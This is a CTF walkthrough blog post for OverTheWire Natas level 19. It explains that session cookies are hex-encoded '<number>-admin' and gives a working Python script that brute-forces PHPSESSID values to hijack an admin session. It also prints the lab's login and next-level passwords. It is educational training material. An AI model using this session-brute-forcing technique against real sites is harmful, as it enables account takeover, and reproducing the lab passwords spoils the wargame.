Avatar
Part time CTF Player learn every day!!
🌠 I Love Hoshimachi Suisei!! 🌠
🌠 I Love Hoshimachi Suisei!! 🌠

OverTheWire Natas Level 18 → 19 tutorial!!

Login

URL: http://natas19.natas.labs.overthewire.org
Credentials: natas19:tnwER7PdfWkxsG4FNWUtoAZ9VyZTJqJr

# Using curl (optional):
curl -u natas19:tnwER7PdfWkxsG4FNWUtoAZ9VyZTJqJr 
  http://natas19.natas.labs.overthewire.org/

homepage


Task

The page says it reuses level 18’s logic, but session IDs are no longer sequential. Goal: obtain an admin session and read the next credentials.


A little bit of Theory

After any login we receive a cookie like:

PHPSESSID=3235352d61646d696e

This looks like hex-encoded ASCII. Decoding gives:

255-admin

So the server’s session key format is <number>-admin, then hexlify. If we try enough numbers, we’ll hit an existing admin session.


Solution

Bruteforce PHPSESSID by hex-encoding "${id}-admin".

import requests, binascii

URL = "http://natas19.natas.labs.overthewire.org"
s = requests.Session()
s.auth = ('natas19', 'tnwER7PdfWkxsG4FNWUtoAZ9VyZTJqJr')

for i in range(1000):  # 0..999 is plenty
    raw = f"{i}-admin".encode()
    sess = binascii.hexlify(raw).decode()
    r = s.get(URL, cookies={"PHPSESSID": sess})
    if "Login as an admin to retrieve" not in r.text:
        print("[+] Admin session found!")
        print(r.text)
        break

Notes:

  • We don’t need valid username/password — we only need the right cookie.
  • Stop when the page doesn’t show “Login as an admin to retrieve …”.

output


Password

p5mCvP7GS2K6Bmt3gqhM2Fc1A5T8MVyw

Troubleshooting

  • Still seeing the login prompt? → Your cookie likely isn’t admin; keep iterating.
  • Getting 403s or rate limits? → Add a small time.sleep(0.05) between requests.
  • Hex looks wrong? → Ensure you .encode() then binascii.hexlify(...).decode().

Nice work 🎉 You reversed the session format and snagged the admin creds. Onward to natas20!


Thanks for reading!

Until next time — Otsumachi!! 💖☄️✨

Cinema

all tags

GOT-overwrite aboutme aead ai alphanumeric-shellcode apt argc0 argon2 aslr assembly asymmetric atoi automation backbox bandit base64 bash beginner behemoth binary binary-exploitation binary-to-ascii blackarch blind blind-sqli blogging blue-team bruteforce buffer-overflow buffer-overwrite c caesar canary capabilities checksec command-injection commonmark cookie cron crypto cryptography ctf cutter cyberchef cybersecurity defenders detection dev directory-traversal dnf docs drifter ecc education elf env envp exploitation finale forensics format-string formulaone frequency frequency-analysis gcc gdb getchar gfm ghidra github-pages governance gpg guide hashing hkdf http jekyll jmpbuf kali kasiski kdf kernel keylength kramdown krypton lab ld_preload leviathan lfi lfsr linux linux-syscall llmops log-poisoning ltrace manpage markdown maze memcpy mitigations mitmproxy mlops narnia natas networking newline-injection nonce nop-sled nx object-injection obsidian openssl osint overflow overthewire package-manager pacman parrot path path-hijacking pathname php pie pkc pki pointer-trick pqc priv-esc privilege-escalation provable-security pwn pwntools pyshark python race-condition radare2 rag randomness recon red-team redirect relro requests ret2env ret2libc reverse-engineering reversing ricing roadmap rop rot13 rsa scapy security seed seo serialization session setjmp-longjmp setuid shell shellcode smoke soc sockets sprintf sql-injection srop stack-canary stack-overflow strace strcmp strcpy streamcipher strings strncpy strtoul substitution suid suisei symlink symmetric terminal test threat-intel time-based tls troubleshooting tshark type-juggling ubuntu udp utumno vigenere virtualbox virtualization vmware vortex walkthrough web windows wireshark writing wsl x86
dash theme for Jekyll by bitbrain made with